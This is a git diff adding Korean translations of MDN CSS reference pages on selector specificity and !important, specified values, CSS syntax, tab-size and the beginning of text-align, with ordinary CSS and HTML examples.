+<p><code>!important</code> 규칙이 스타일 선언에 사용된 경우, 이 선언은 다른 선언보다 우선합니다. 엄밀히 말해 <code>!important</code> 자체는 명시도와 아무 관련이 없지만, 명시도에 직접 영향을 미칩니다. 그러나 <code>!important</code> 사용은 <strong>나쁜 습관</strong>이고 스타일시트 내 자연스러운 <a href="/ko/docs/Web/CSS/Cascade" title="cascading">종속</a>을 깨뜨려 디버깅을 더 어렵게 만들기에 피해야 합니다. <code>!important</code> 규칙으로 충돌하는 두 선언이 같은 요소에 적용된 경우, 더 큰 명시도를 갖는 선언이 적용됩니다.</p>
+
+<p><strong>몇몇 경험 법칙들:</strong></p>
+
+<ul>
+ <li><strong>항상</strong> !important를 고려하기도 전에 명시도를 활용할 방법을 찾아보세요.</li>
+ <li>외부 CSS(Bootstrap 또는 Normalize.css 같은 외부 라이브러리에서)를 재정의하는 페이지 전용 CSS에<strong>만</strong> <code>!important</code>를 쓰세요.</li>
+ <li>플러그인/매시업을 작성할 때 <code>!important</code>는 <strong>절대</strong> 쓰지 마세요.</li>
+ <li>사이트 전반 CSS에는 <code>!important</code>를 <strong>절대</strong> 쓰지 마세요.</li>
+</ul>
+
+<p><strong><code>!important</code>를 사용하는 대신에, 다음을 고려하세요:</strong></p>
+
+<ol>
+ <li>CSS 종속<sup>cascading</sup>을 더 잘 활용하세요.</li>
+ <li>
+  <p>더 명시된(명확한) 규칙을 쓰세요. 선택 중인 요소 앞에 하나 이상의 요소를 나타냄으로써 규칙은 더 명확해지고 더 높은 우선 순위를 얻습니다:</p>
+
+  <pre class="brush: html">&lt;div id="test"&gt;
+  &lt;span&gt;Text&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+  <pre class="brush: css">div#test span { color: green; }
+div span { color: blue; }
+span { color: red; }</pre>
+
+  <p>순서와 무관하게 첫 번째 규칙이 가장 명확하므로 텍스트는 녹색이 됩니다. (또한, 역시 순서와 무관하게 파란색 규칙이 빨간색 규칙보다 우선합니다.)</p>
+ </li>
+ <li>(2)의 말도 안 되는 특별한 경우로, 더 이상 명시할 요소가 없는 경우 간단한 선택자를 여러 번 써서 명시도를 높일 수 있습니다.
+  <pre class="brush: css">#myId#myId span { color: yellow; }
+.myClass.myClass span { color: orange; }</pre>
+ </li>
+</ol>
+
+<h4 id="!important를_사용하는_때"><code>!important</code>를 사용하는 때</h4>
+
+<h5 id="A_인라인_스타일을_재정의할_때">A) 인라인 스타일을 재정의할 때</h5>
+
+<p>사이트 전체의 시각적 요소를 설정하는 전역 CSS 파일은 각 요소에 직접 정의된 인라인 스타일에 덮어쓰일 수 있습니다. 인라인 스타일과 <code>!important</code> 모두 매우 나쁜 습관으로 취급되지만, 가끔씩은 <code>!important</code>로 인라인 스타일을 덮어써야 할 때가 있습니다.</p>
+
+<p>이때는 전역 CSS 파일의 몇몇 스타일을 <code>!important</code>로 설정해서 요소에 직접 작성한 인라인 스타일을 덮어쓸 수 있습니다.</p>
+
+<pre class="brush: html">&lt;div class="foo" style="color: red;"&gt;나는 무슨 색일까?&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.foo[style*="color: red"] {
+  color: firebrick !important;
+}
+</pre>
+
+<p>여러 자바스크립트 프레임워크와 라이브러리에서 인라인 스타일을 추가합니다. 이런 인라인 스타일을 덮어쓸 때 매우 구체적인 선택자와 함께 <code>!important</code>를 사용할 수 있습니다.</p>
+
+<h5 id="B_명시도가_높은_규칙을_재정의할_때">B) 명시도가 높은 규칙을 재정의할 때</h5>
+
+<pre class="brush: css">#someElement p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}</pre>
+
+<p>어떻게 하면 <code>awesome</code> 문단이 <code>#someElement</code> 안에 있더라도 항상 빨갛게 만들 수 있을까요? <code>!important</code>를 사용하지 않으면 위쪽 규칙의 명시도가 높으므로 아래쪽 규칙보다 우선합니다.</p>
+
+<h4 id="!important를_덮어쓰는_방법"><code>!important</code>를 덮어쓰는 방법</h4>
+
+<p>A) 태그, ID나 클래스를 추가함으로써 명시도가 더 높은 !important한 CSS 규칙을 만듭니다.</p>
+
+<pre class="brush: css">table td    { height: 50px !important; }
+.myTable td { height: 50px !important; }
+#myTable td { height: 50px !important; }
+</pre>
+
+<p>B) 혹은 기존의 선택자 아래에 똑같은 선택자를 하나 더 만듭니다(명시도가 같으면 나중에 정의된 규칙이 우선하므로).</p>
+
+<pre class="brush: css">td { height: 50px !important; }</pre>
+
+<p>C) 아니면 기존 규칙을 수정해서 아예 <code>!important</code>를 사용하지 않게 만드는 것이 더 좋은 방법입니다.</p>
+
+<pre class="brush: css">[id="someElement"] p {
+  color: blue;
+}
+
+p.awesome {
+  color: red;
+}</pre>
+
+<p>ID를 ID 선택자 대신 속성 선택자로 선택하면 클래스 1개와 같은 명시도가 됩니다. 두 선택자의 명시도가 같아졌으므로 나중에 오는 규칙이 우선합니다.</p>
+
+<h4 id="아래에서_자세한_정보를_확인하세요">아래에서 자세한 정보를 확인하세요:</h4>
+
+<ul>
+ <li><a href="https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css">https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css</a></li>
+ <li><a href="https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean">https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean</a></li>
+ <li><a href="https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css">https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css</a></li>
+ <li><a href="https://stackoverflow.com/questions/11178673/how-to-override-important">https://stackoverflow.com/questions/11178673/how-to-override-important</a></li>
+ <li><a href="https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css">https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css</a></li>
+</ul>
+
+<h3 id="is_및_not_예외"><code>:is()</code> 및 <code>:not()</code> 예외</h3>
+
+<p>모두 일치 의사 클래스 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} 및 부정 의사 클래스 {{CSSxRef(":not", ":not()")}}은 명시도 계산에서 의사 클래스로 취급되지 <em>않습니다</em>. 그러나 이들 의사 클래스 안에 명시된 선택자는 <a href="#selector-type" title="selector types">선택자 유형</a>의 수를 결정할 때 일반 선택자로 셉니다.</p>
+
+<p>다음 CSS 조각과 HTML은...</p>
+
+<pre class="brush: css">div.outer p {
+  color:orange;
+}
+div:not(.outer) p {
+  color: lime;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;p&gt;This is in the outer div.&lt;/p&gt;
+  &lt;div class="inner"&gt;
+    &lt;p&gt;This text is in the inner div.&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>...다음과 같이 화면에 표시됩니다.</p>
+
+<p>{{EmbedLiveSample('is_및_not_예외','600','100')}}</p>
+
+<h3 id="The_where_exception" name="The_where_exception"><code>:where()</code> 예외 {{Experimental_Inline}}</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>명시도 조정 가상 클래스 {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}의 명시도는 항상 0입니다.</p>
+
+<p>다음 CSS 조각과 HTML은...</p>
+
+<pre class="brush: css">div:where(.outer) p {
+  color: orange;
+}
+
+div p {
+  color: blueviolet;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css;">#no-where-support {
+  margin: 0.5em;
+  border: 1px solid red;
+}
+
+#no-where-support:where(*) {
+  display: none !important;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;div id="no-where-support"&gt;
+⚠️ Your browser doesn't support the &lt;code&gt;&lt;a href="https://developer.mozilla.org/docs/Web/CSS/:where" target="_top"&gt;:where()&lt;/a&gt;&lt;/code&gt; pseudo-class.
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;p&gt;This is in the outer div.&lt;/p&gt;
+  &lt;div class="inner"&gt;
+    &lt;p&gt;This text is in the inner div.&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>...다음과 같이 화면에 표시됩니다.</p>
+
+<p>{{EmbedLiveSample('The_where_exception','600','100')}}</p>
+
+<h3 id="형태_기반_명시도">형태 기반 명시도</h3>
+
+<p>명시도는 선택자의 형태(form)를 기반으로 합니다. 아래에서 선택자 <code>*[id="foo"]</code>는 그 자체로는 ID를 선택하지만 선택자의 명시도를 계산할 때는 속성 선택자로 취급됩니다.</p>
+
+<p>다음 스타일 선언과 마크업은...</p>
+
+<pre class="brush: css">*#foo {
+  color: green;
+}
+*[id="foo"] {
+  color: purple;
+}
+</pre>
+
+<pre class="brush: html">&lt;p id="foo"&gt;I am a sample text.&lt;/p&gt;
+</pre>
+
+<p>...다음과 같이 표시됩니다.</p>
+
+<p>{{EmbedLiveSample('형태_기반_명시도','600','100')}}</p>
+
+<p>같은 요소와 일치하지만 ID 선택자는 더 높은 명시도를 갖기 때문입니다.</p>
+
+<h3 id="트리_근접도_무시"><a id="tree-proximity-ignorance" name="tree-proximity-ignorance">트리 근접도 무시</a></h3>
+
+<p>요소와 주어진 선택자로 참조된 다른 요소와의 근접도(proximity)는 명시도에 영향을 주지 않습니다.</p>
+
+<p>다음 스타일 선언과 HTML은...</p>
+
+<pre class="brush: css">body h1 {
+  color: green;
+}
+html h1 {
+  color: purple;
+}
+</pre>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;body&gt;
+  &lt;h1&gt;Here is a title!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>...아래와 같이 렌더링됩니다.</p>
+
+<p>{{EmbedLiveSample('트리_근접도_무시','600','100')}}</p>
+
+<p>두 선언은 <a href="#selector-type">선택자 유형</a> 갯수가 같지만 <code>html h1</code> 선택자가 나중에 선언되었기 때문입니다.</p>
+
+<h3 id="직접_일치_요소와_상속된_스타일"><a id="directly-targeted-elements" name="directly-targeted-elements">직접 일치 요소와 상속된 스타일</a></h3>
+
+<p>특정한 요소와 직접적으로 일치하는 스타일은 상속된 규칙의 명시도와 무관하게 항상 상속된 스타일보다 우선합니다.</p>
+
+<p>다음 CSS와 HTML은...</p>
+
+<pre class="brush: css" style="font-size: 14px;">#parent {
+  color: green;
+}
+h1 {
+  color: purple;
+}</pre>
+
+<pre class="brush: html" style="font-size: 14px;">&lt;html&gt;
+&lt;body id="parent"&gt;
+  &lt;h1&gt;Here is a title!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>...역시 아래와 같이 렌더링됩니다.</p>
+
+<p>{{EmbedLiveSample('직접_일치_요소와_상속된_스타일','600','100')}}</p>
+
+<p><code>h1</code> 선택자는 특정한 요소와 직접 일치하지만 초록색 선택자는 그렇지 않고 부모로부터 상속되기 때문입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#specificity-rules", "Calculating a selector's specificity")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>명시도 조정 선택자 {{CSSxRef(":where", ":where()")}} 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#specificity", "Calculating a selector's specificity")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">의사 요소</a> 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specificity", "Calculating a selector's specificity")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">의사 클래스</a> 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#cascading-order", "Cascading order")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>명시도 계산기: CSS 규칙을 테스트하고 이해할 수 있는 대화형 웹사이트 - <a href="https://specificity.keegan.st/">https://specificity.keegan.st/</a></li>
+ <li>CSS3 선택자 명시도 - <a class="external" href="http://www.w3.org/TR/selectors/#specificity" rel="freelink">http://www.w3.org/TR/selectors/#specificity</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/specified_value/index.html b/files/ko/web/css/specified_value/index.html
new file mode 100644
index 0000000000..fd7df79342
--- /dev/null
+++ b/files/ko/web/css/specified_value/index.html
@@ -0,0 +1,67 @@
+---
+title: 지정값
+slug: Web/CSS/specified_value
+tags:
+  - CSS
+  - CSS Reference
+translation_of: Web/CSS/specified_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>지정값</strong>은 세 가지 방법 중 하나로 설정됩니다.</p>
+
+<ol>
+ <li>문서의 스타일시트가 속성값을 지정했다면 그러면 그 값이 사용됩니다. 예를 들어, {{cssxref("color")}} 속성이 <code>green</code> 으로 설정된 경우 대응하는 요소(element)의 텍스트 색은 녹색이 됩니다.</li>
+ <li>문서의 스타일시트가 값을 지정하지 않은 경우 부모 요소로부터 상속됩니다(가능하다면). 예를 들어, {{HTMLElement("div")}} 내부에 단락({{HTMLElement("p")}})이 있고 {{HTMLElement("div")}}의 CSS <code>font</code> 속성값이 "Arial", {{HTMLElement("p")}}가 정의된 <code>font</code> 속성이 없다면 Arial font가 상속됩니다.</li>
+ <li>위 중 어느 것도 이용할 수 없는 경우, CSS 스펙에 지정된 대로 요소의 초기값이 적용됩니다.</li>
+</ol>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;My specified color is given explicitly in the CSS.&lt;/p&gt;
+
+&lt;div&gt;The specified values of all my properties default to their
+    initial values, because none of them are given in the CSS.&lt;/div&gt;
+
+&lt;div class="fun"&gt;
+  &lt;p&gt;The specified value of my font family is not given explicitly
+      in the CSS, so it is inherited from my parent. However,
+      the border is not an inheriting property.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fun {
+  border: 1px dotted pink;
+  font-family: fantasy;
+}
+
+p {
+  color: green;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 500, 220)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/syntax/index.html b/files/ko/web/css/syntax/index.html
new file mode 100644
index 0000000000..3f64118f7a
--- /dev/null
+++ b/files/ko/web/css/syntax/index.html
@@ -0,0 +1,79 @@
+---
+title: 구문
+slug: Web/CSS/Syntax
+tags:
+  - CSS
+  - Guide
+  - Reference
+  - Web
+translation_of: Web/CSS/Syntax
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary">종속형 스타일 시트(<a href="/ko/docs/Web/CSS" title="CSS">CSS</a>) 언어의 기본 목표는 브라우저 엔진이 색상, 위치 지정 또는 장식과 같은 특정 기능을 사용하여 페이지에 요소를 그릴 수 있도록 하는 것입니다.</span> 이러한 목표 달성을 위해 만들어진 <em>CSS 구문</em>을 이루고 있는 기본 구성 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>속성</strong>(property)은 {{glossary("identifier", "식별자")}}, 즉 사람이 읽을 수 있는 <em>이름</em>이며 어떠한 CSS 기능을 구현할 것인지 결정합니다.</li>
+ <li><strong>값</strong>(value)은 앞서 지정한 속성이 브라우저에 의해 어떤 식으로 나타나야 할지 기술합니다. 각 속성의 의미적 표현을 형식 문법으로 정의한 유효한 값 집합과 함께 브라우저 엔진이 구현합니다.</li>
+</ul>
+
+<h2 id="CSS_선언">CSS 선언</h2>
+
+<p>CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능입니다. 속성과 값 쌍은 <strong>선언</strong>(declaration)이라 부르며, 모든 CSS 엔진은 적절하게 요소를 배열하고 스타일을 입히기 위해서 요소 하나하나마다 어떤 선언을 적용할지 계산합니다.</p>
+
+<p>CSS에서는 속성과 값 모두 대소문자를 구분합니다. 속성-값 쌍은 콜론, '<code>:</code>' (<code>U+003A COLON</code>)으로 구분하며 속성과 값 앞, 사이, 뒤에 오는 공백은 무시합니다.</p>
+
+<p><img alt="css syntax - declaration.png" class="default internal" src="/@api/deki/files/6164/=css_syntax_-_declaration.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>CSS는 <a href="/ko/docs/Web/CSS/CSS_Reference" title="/ko/docs/Web/CSS/CSS_Reference">100가지 이상의 속성</a>과 셀 수 없이 많은 값이 있습니다. 속성에 아무 값이나 넣는 것은 허용되지 않고, 대신 속성마다 유효한 값을 정의하고 있습니다. 주어진 속성에 대해 값이 유효하지 않은 경우, 그 선언은 부적합으로 간주하여 CSS 엔진이 완전히 무시합니다.</p>
+
+<h2 id="CSS_선언_블록">CSS 선언 블록</h2>
+
+<p>선언은 <strong>블록 </strong>단위로 이루어져 있습니다. 즉, 여는 중괄호, '<code>{</code>' (<code>U+007B LEFT CURLY BRACKET</code>) 및 닫는 중괄호, '<code>}</code>' (<code>U+007D RIGHT CURLY BRACKET</code>)로 구분된 구조 입니다. 어떤 경우엔 블록을 중첩할 수 있으므로 열고 닫는 중괄호가 서로 맞아야 합니다.</p>
+
+<p><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>이런 블록은 자연스럽게도 <strong>선언 블록</strong>이라고 부르며, 내부의 선언은 세미콜론, '<code>;</code>' (<code>U+003B SEMICOLON</code>)으로 구분합니다. 선언 블록은 아무런 선언도 들어가지 않은 빈 상태로도 존재할 수 있습니다. 선언 주위의 공백은 무시합니다. 마지막 선언에는 세미콜론을 생략해도 되지만, 다른 선언을 밑에다 덧붙여서 블록을 확장하면서 세미콜론 추가를 잊는 상황을 방지하기 위해 붙여주는 것이 <em>좋은 스타일</em>이라고 생각하는 경우가 자주 있기는 합니다.</p>
+
+<p>CSS 선언 블록을 시각화하면 다음과 같습니다.<img alt="css syntax - declarations block.png" class="default internal" src="https://mdn.mozillademos.org/files/17009/declaration-block.png" style="border: 1px solid black; height: 467px; padding: 1em; width: 1160px;"></p>
+
+<div class="note"><strong>참고:</strong> CSS 선언 블록의 콘텐츠, 즉 여닫는 중괄호 없이 세미콜론으로 분리한 선언 목록은 HTML {{htmlattrxref("style")}} 특성의 값으로 사용할 수 있습니다.</div>
+
+<h2 id="CSS_규칙집합">CSS 규칙집합</h2>
+
+<p>스타일 시트가 선언을 웹 페이지의 요소 하나씩에만 적용할 수 있다면 거의 쓸모가 없을 것입니다. 진짜 목표는 다양한 선언을 문서의 다양한 부분에 적용하는 것입니다.</p>
+
+<p>CSS에서는 선언 블록에 조건을 붙여 해결할 수 있습니다. 각 (유효한) 선언 블록은 페이지의 일부 요소를 선택하는 조건인 선택자(<em>selector</em>)가 선행됩니다. 선택자-선언 블록 쌍은 <strong>규칙집합</strong> 또는 종종 간단히 <strong>규칙</strong>이라고 합니다.</p>
+
+<p><img alt="css syntax - ruleset.png" class="default internal" src="https://mdn.mozillademos.org/files/17010/ruleset.png" style="border: 1px solid black; height: 334px; padding: 1em; width: 861px;"></p>
+
+<p>페이지 요소는 여러 선택자로 그리고 결국 주어진 속성을 서로 다른 값으로 여러 번 포함하는 여러 규칙에 의해 일치될 수 있기에, CSS 표준은 어느 게 다른 것보다 우선하고 적용되어야 하는 지를 정의합니다: 이를 종속(<a href="/ko/docs/Web/CSS/시작하기/종속과_상속" title="Cascading and inheritance">cascade</a>) 알고리즘이라고 합니다.</p>
+
+<div class="note">비록 선택자 그룹에 의해 특징지어진 규칙집합이 규칙집합을 각각 단일 선택자로 대체하는 일종의 단축(shorthand)일지라도, 이는 규칙집합 자체의 유효성에 적용되지는 않는다는 점에 유의하는 것이 중요합니다.<br>
+<br>
+이는 중요한 결과로 이어집니다: 단일 기본 선택자 하나가 무효한 경우, 무명(unknown) 가상 요소(pseudo-element) 또는 가상 클래스(pseudo-class)를 사용할 때처럼, 모든 <em>선택자</em>는 무효하고 따라서 전체 규칙은 무시됩니다(유효하지도 않기에).</div>
+
+<h2 id="CSS_문">CSS 문</h2>
+
+<p>규칙집합은 종종 큰 규칙집합 목록만으로 구성된 스타일 시트의 주요 구성 블록입니다. 하지만 문자 집합, import하려는 다른 외부 스타일 시트, 글꼴 모양 또는 목록 카운터 설명 및 더 많은 것처럼 웹 제작자가 스타일 시트에서 전하고 싶은 다른 정보가 있습니다. 이를 위해 다른 특정 종류의 문을 사용합니다.</p>
+
+<p><strong>문</strong>은 비 공백 문자로 시작하여 첫 번째 닫는 중괄호 또는 세미콜론 (문자열 외에, 이스케이프되지 않고 다른 {}, () 및 [] 쌍에 포함되지 않는) 으로 끝나는 구성 블록입니다.</p>
+
+<p><img alt="css syntax - statements Venn diag.png" class="default internal" src="/@api/deki/files/6168/=css_syntax_-_statements_Venn_diag.png" style="padding: 1em;"></p>
+
+<p>다음과 같은 다른 종류의 문이 있습니다:</p>
+
+<ul>
+ <li>본 것처럼, CSS 선언의 컬렉션과 선택자에 의해 기술된 조건을 연결짓는 <strong>규칙집합</strong> (또는 <em>규칙</em>).</li>
+ <li>at 기호, '<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>)로 시작하고 그런 다음 문의 끝, 즉 블록 밖 다음 세미콜론(;) 또는 다음 블록의 끝까지 계속 식별자가 뒤따르는 <strong>At-규칙</strong>. 식별자에 의해 정의된 각 유형의 <a href="/ko/docs/Web/CSS/At-rule" title="At-rule">at-규칙</a>은, 물론 자체 내부 구문 및 의미(semantics)가 있을 수 있습니다. 그들은 메타 데이터 정보({{ cssxref("@charset") }} 또는 {{ cssxref("@import") }} 같은), 조건부 정보({{ cssxref("@media") }} 또는 {{ cssxref("@document") }} 같은) 또는 설명 정보({{ cssxref("@font-face") }} 같은)를 전달하는 데 사용됩니다.</li>
+</ul>
+
+<p>규칙집합 또는 at-규칙이 아닌 모든 문은 유효하지 않고 무시됩니다.</p>
+
+<p>또 다른 문 그룹, <strong>중첩 문</strong>이 있습니다, 이들은 at-규칙, <em>조건부 그룹 규칙</em>의 특정 부분집합에서 사용될 수 있는 문입니다. 이러한 문은 오직 특정 조건이 일치되면 적용합니다: <code>@media</code> at-규칙 콘텐츠는 브라우저가 돌아가는 장치가 표현된 조건과 일치하는 경우에만 적용됩니다. 반면 <code>@document</code> at-규칙 콘텐츠는 현재 페이지가 일부 조건과 일치하는 경우에만 적용됩니다, 등등. CSS1 및 CSS2.1에서는, <em>규칙집합</em>만이 조건부 그룹 규칙 내에서 사용될 수 있습니다. 그것은 매우 제한됐고 이 제한은 <a href="/ko/docs/Web/CSS/CSS3#Conditionals" title="CSS Conditionals Level 3"><em>CSS Conditionals 레벨 3</em></a>에서 해제되었습니다. 현재, 여전히 실험 중이고 모든 브라우저에서 지원되지는 않지만, 조건부 그룹 규칙은 광범위한 콘텐츠, 규칙집합뿐만 아니라 전부는 아니지만 일부 at-규칙을 포함할 수 있습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/ko/web/css/tab-size/index.html b/files/ko/web/css/tab-size/index.html
new file mode 100644
index 0000000000..ad29994f53
--- /dev/null
+++ b/files/ko/web/css/tab-size/index.html
@@ -0,0 +1,121 @@
+---
+title: tab-size
+slug: Web/CSS/tab-size
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/tab-size
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>tab-size</code></strong> 속성은 탭 문자(U+0009)의 너비를 조절합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* &lt;integer&gt; 값 */
+tab-size: 4;
+tab-size: 0;
+
+/* &lt;length&gt; 값 */
+tab-size: 10px;
+tab-size: 2em;
+
+/* 전역 값 */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;integer&gt;")}}</dt>
+ <dd>공백 문자(U+0020)에 대한 탭 문자의 상대적인 너비. 0 이상의 정수여야 합니다.</dd>
+ <dt>{{CSSxRef("&lt;length&gt;")}}</dt>
+ <dd>탭 문자의 너비. 양의 값이어야 합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="글자_수로_정의">글자 수로 정의</h3>
+
+<pre class="brush: css notranslate">pre {
+  tab-size: 4; /* Set tab size to 4 characters wide */
+}
+</pre>
+
+<h3 id="탭_제거">탭 제거</h3>
+
+<pre class="brush: css notranslate">pre {
+  tab-size: 0; /* Remove indentation */
+}
+</pre>
+
+<h3 id="기본_크기와_비교">기본 크기와 비교</h3>
+
+<p>다음 예제는 기본 탭 크기를 사용자 지정 탭 크기와 비교합니다. {{cssxref("white-space")}} 속성을 <code>pre</code>로 설정해서 탭 문자가 접히지 않도록 했습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;no tab&lt;/p&gt;
+&lt;p&gt;&amp;#0009;default tab size of 8 characters wide&lt;/p&gt;
+&lt;p class="custom"&gt;&amp;#0009;custom tab size of 3 characters wide&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;3 spaces, equivalent to the custom tab size&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  white-space: pre;
+}
+
+.custom {
+  tab-size: 3;
+  -moz-tab-size: 3;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('기본_크기와_비교')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.tab-size")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="https://lists.w3.org/Archives/Public/www-style/2008Dec/0009.html"><cite>Controlling size of a tab character (U+0009)</cite></a>, Anne van Kesteren이 CSSWG에 보낸 이메일.</li>
+</ul>
diff --git a/files/ko/web/css/text-align/index.html b/files/ko/web/css/text-align/index.html
new file mode 100644
index 0000000000..630a0c0881
--- /dev/null
+++ b/files/ko/web/css/text-align/index.html
@@ -0,0 +1,234 @@
+---
+title: text-align
+slug: Web/CSS/text-align
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/text-align
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>text-align</code></strong> 속성은 블록 요소나 표의 칸 상자의 가로 정렬을 설정합니다.</span> 즉 {{cssxref("vertical-align")}}과 동일하나 세로가 아닌 가로 방향으로 동작합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-align.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+text-align: left;
+text-align: right;
+text-align: center;
+text-align: justify;
+text-align: justify-all;
+text-align: start;
+text-align: end;
+text-align: match-parent;
+
+/* 표 열의 문자 기반 정렬 */
+text-align: ".";
+text-align: "." center;
+
+/* 블록 정렬 값 (비표준 구문) */
+text-align: -moz-center;
+text-align: -webkit-center;
+
+/* 전역 값 */
+text-align: inherit;
+text-align: initial;
+text-align: unset;
+</pre>
+
+<p><code>text-align</code> 속성은 다음 방법 중 하나를 사용해 지정합니다.</p>
+
+<ul>
+ <li><code><a href="#start">start</a></code>, <code><a href="#end">end</a></code>, <code><a href="#left">left</a></code>, <code><a href="#right">right</a></code>, <code><a href="#center">center</a></code>, <code><a href="#justify">justify</a></code>, <code><a href="#justify-all">justify-all</a></code>, <code><a href="#match-parent">match-parent</a></code> 키워드 중 하나.</li>
+ <li><code><a href="#string">&lt;string&gt;</a></code> 값만 사용. 다른 값은 <code><a href="#right">right</a></code>을 사용하게 됩니다.</li>
+ <li>키워드 값과 <code><a href="#string">&lt;string&gt;</a></code> 값 모두 사용.</li>
+</ul>
+
